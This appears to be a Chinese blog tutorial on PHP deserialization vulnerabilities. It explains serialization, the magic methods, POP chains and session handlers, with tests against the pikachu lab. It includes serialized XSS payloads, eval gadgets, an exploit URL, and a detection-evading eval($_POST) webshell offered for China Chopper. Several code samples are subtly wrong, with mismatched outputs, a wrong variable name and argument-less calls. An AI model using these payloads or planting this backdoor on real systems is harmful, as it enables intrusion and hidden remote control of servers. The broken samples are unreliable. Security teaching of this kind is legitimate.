1、 漏洞简介
PHP 反序列化漏洞是指在 PHP 代码中存在的对用户输入数据进行反序列化操作时,未对输入数据进行充分验证和过滤,导致攻击者可以构造恶意的序列化数据,从而在服务器端执行任意代码或进行其他恶意操作的安全漏洞
2、 漏洞影响范围
影响范围可能包括但不限于以下几个方面:
-
服务器端应用程序:PHP 反序列化漏洞可能导致服务器端应用程序受到攻击,攻击者可以执行任意代码、获取敏感信息、修改数据等。
-
用户数据安全:攻击者可以通过构造恶意的序列化数据,将恶意代码注入到用户提交的数据中,从而在服务器端执行任意代码,可能导致用户数据泄露或被篡改。
-
服务器安全:PHP 反序列化漏洞可能导致服务器本身受到攻击,攻击者可以通过执行任意代码获取服务器权限,进一步入侵其他系统或进行其他恶意活动。
3、 漏洞详解
3.1 序列化
将对象的状态信息转化为可存储或传输的形式
1.表达方式
class Test
{
public $flag = "flag{*****}";
public $name = "lang";
public $age = 10;
}
$test1 = new Test();
$test1->flag = true;
$test1->name = "zhnag";
$test1->age = 20;
// 序列化
echo serialize($test1);
// out :O:4:"Test":2:{s:4:"flag";b:1;s:4:"name";s:5:"zhnag";}
2.魔术方法
-
serialize() 函数会检查类中是否存在一个魔术方法 sleep()。如果存在,sleep()方法会先被调用,然后才执行序列化操作。
-
可以在sleep()方法里决定哪些属性可以被序列化。如果没有sleep()方法则默认序列化所有属性
<?php
class Test
{
public $flag = "flag{*****}";
public $name = "lang";
public $age = 10;
// __sleep() 方法决定哪些属性可以被序列化
public function __sleep()
{
return array('flag', 'name');
}
}
$test1 = new Test();
$test1->flag = true;
$test1->name = "zhnag";
$test1->age = 20;
// 序列化
echo serialize($test1);
// out :O:4:"Test":2:{s:4:"flag";b:1;s:4:"name";s:5:"zhnag";}
?>
3.2 访问控制修饰符
根据访问控制修饰符的不同 序列化后的 属性长度和属性值会有所不同
<?php
class Test
{
// 访问控制修饰符的不同 序列化后的 属性长度和属性值会有所不同
public $flag = "flag{*****}";
protected $name = "lang";
private $age = 10;
// __sleep() 方法决定哪些属性可以被序列化
public function __sleep()
{
return array('flag', 'name', 'age');
}
}
$test1 = new Test();
$test1->flag = true;
// 保护和私有属性不能改变
// $test1->name = "zhnag";
// $test1->age = 20;
// protected属性被序列化的时候属性值会变成 %00*%00属性名 %00*%00flag
// private属性被序列化的时候属性值会变成 %00类名%00属性名 %00Test%00name
// %00为空白符,空字符也有长度,一个空字符长度为 1
// 序列化
echo serialize($test1);
// O:4:"Test":3:{s:4:"flag";b:1;s:7:"*name";s:4:"lang";s:9:"Testage";i:10;}
// O:4:"Test":3:{s:4:"flag";b:1;s:7:"%00*%00name";s:4:"lang";s:9:"%00Test%00age";i:10;}
?>
3.3 反序列化
1.表达方式
反序列化函数 unserialize()。反序列化就是将一个序列化了的对象或数组字符串,还原回去
class Test
{
public $flag = "flag{*****}";
public $name = "lang";
public $age = 10;
}
$test1 = new Test();
$test1->flag = true;
$test1->name = "zhnag";
$test1->age = 20;
// 反序列化
$str = serialize($test1);
// 反序列化函数unserialize()。反序列化就是将一个序列化了的对象或数组字符串,还原回去
var_dump(unserialize($str));
// output
// object(Test)#2 (3) { ["flag"]=> bool(true) ["name"]=> string(5) "zhnag" ["age"]=> int(20) }
/*
object(Test)#2 (3) {
["flag"]=>
bool(true)
["name"]=>
string(5) "zhnag"
["age"]=>
int(20)
}
*/
class test
{
public $a = 'langlang';
protected $b = 666;
private $c = false;
public function displayVariable()
{
echo $this->a;
}
}
$d = new test();
// var_dump($d)
// 序列化
// echo serialize($d);
$a = 'O:4:"test":3:{s:1:"a";s:4:"lang";s:4:"%00*%00b";i:888;s:7:"%00test%00c";b:0;}';
// 解码
$x = urldecode($a);
// 反序列化
// var_dump(unserialize($x));
$c = unserialize($x);
$c->displayVariable();
// echo urlencode($d)
// $a = urlencode($d);
// $b = unserialize(urldecode($a));
// var_dump($b)
2.魔术方法
class Test
{
public $flag = "flag{*****}";
public $name = "lang";
public $age = 10;
/*
与序列化函数类似,unserialize()会检查类中是否存在一个__wakeup魔术方法
如果存在则会先调用__wakeup()方法,再进行序列化
可以在__wakeup()方法中对属性进行初始化、赋值或者改变
*/
public function __wakeup()
{
$this->flag = "no flag";
}
}
$test1 = new Test();
$test1->flag = true;
$test1->name = "zhagsan";
$test1->age = 20;
// 反序列化
$str = serialize($test1);
// 反序列化函数unserialize()。反序列化就是将一个序列化了的对象或数组字符串,还原回去
echo '<pre>';
var_dump(unserialize($str));
// output
/*
object(Test)#2 (3) {
["flag"]=>
string(7) "no flag"
["name"]=>
string(7) "zhagsan"
["age"]=>
int(20)
}
*/
3.4 反序列化 POP 链
-
能控制的数据就是对象中的各个属性值
-
漏洞利用方法“面向属性编程”,完成类与类之间的调用
-
组件调用组件,其实就是魔术方法(wakeup(),sleep())
3.5 漏洞触发条件
-
unserialize 函数的参数
-
变量可控
-
php 文件中存在可利用的类
-
类中有魔术方法
3.6 魔术方法
// 常见的几个魔法函数:
__construct()当一个对象创建时被调用
__destruct()当一个对象销毁时被调用
__toString()当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup()将在序列化之后立即被调用
// 1. 漏洞举例:
class S{
var $test = "pikachu";
function __destruct(){
echo $this->test;
}
}
$s = $_GET['test'];
@$unser = unserialize($a);
// 2. 构造对对象
class S
{
var $test = "<script>alert(document.cookie)</script>";
}
$t = new S();
echo serialize($t);
// payload:O:1:"S":1:{s:4:"test";s:29:"alert(document.cookie)</script>";}
而在反序列化时,如果反序列化对象中存在魔法函数,使用 unserialize()函数同时也会触发。这样,一旦我们能够控制 unserialize()入口,那么就可能引发对象注入漏洞
3.7 测试

构造序列化数据:
class S{
var $test="<script>alert('php')</script>";
}
$t=new S();
echo serialize($t);
// 序列化后的内容
// O:1:"S":1:{s:4:"test";s:29:"";}
// 查看源码,脚本在序列化内容里面
// O:1:"S":1:{s:4:"test";s:29:"<script>alert('php')</script>";}
// 平台测试
测试结果:

-
_destruct() 当一个对象被销毁时被调用
class Example {
var $var = '';
function __destruct() {
eval($this->var);
}
}
unserialize($_GET['a']);
$obj = new Example();
$obj->var='phpinfo()';
var_dump(serialize($obj));
// O:7:"Example":1:{s:3:"var";s:9:"phpinfo()";}
连菜刀、反序列化免杀后门
class A
{
var $test = "demo";
function __destruct()
{
@eval($this->test);
}
}
$test = $_POST['test'];
$len = strlen($test) + 1;
// 构造序列化对象,用我们POST传过去的命令代码字符串覆盖$test="demo",从而执行恶意命令。
$pp = "O:1:\"A\":1:{s:4:\"test\";s:" . $len . ":\"" . $test . ";\";}";
// 反序列化同时触发_destruct函数
$test_unser = unserialize($pp);
// 以上代码相当于一行代码
<?php @eval($_POST['test']); ?>
连接菜刀


-
_toString() 如果在代码审计中有反序列化点,但是在原本的代码中找不到 pop 链该如何? N1CTF 有一个无 pop 链的反序列化的题目,其中就是找到 php 内置类来进行反序列化 (1)xss error exception 类 测试代码:
<?php $a = unserialize($_GET['y']); // 仅看到是一个反序列化,但是不知道类啊,这就遇到了一个反序列化但没有pop链的情况,所以只能找到php内置类来进行反序列化 echo $a; ?>
exp:
// Error
$a = new Error("<script>alert('xxxphp')</script>");
// Exception
// $a = new Error("<script>alert('xxxphp')</script>");
echo urlencode(serialize($a));
echo
成功插入 xss,并执行代码

3.8 PHP 中 Session 反序列化
1.存储机制 默认
<?php session_start(); // session_start()会创建新会话或者重用现有会话 $_SESSION['name'] = 'spoock'; var_dump(); ?>
2.php_serialize
<?php
ini_set('session.serialize_handler', 'php_serialize'); // 设置序列化引擎使用php_serialize
session_start(); // 启动新会话或者重用现有会话
$_SESSION['name'] = 'spoock';
var_dump();
?>
3.php_binary
<?php
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['name'] = 'spoock';
var_dump();
?>
4.Session 漏洞利用
class Test{
var $func="";
function __construct(){
$this->func="phpinfo()";
}
function __wakeup(){
eval($this->func);
}
}
unserialize($_GET['a'])
在 unserialize($_GET['a'])行对传入的参数进行了反序列化。我们可以通过传入一个特定的字符串,反序列化为 Test 的一个示例,那么就可以执行 eval()方法。我们访问 http://pikachu/vul/unserilization/sessions.php?a=O:4:%22Test%22:1:{s:4:%22func%22;s:14:%22echo%20%22spoock%22;%22;} 。
最后页面输出的就是 spoock,说明最后执行了我们定义的 echo “spoock”;方法

5918

被折叠的 条评论
为什么被折叠?



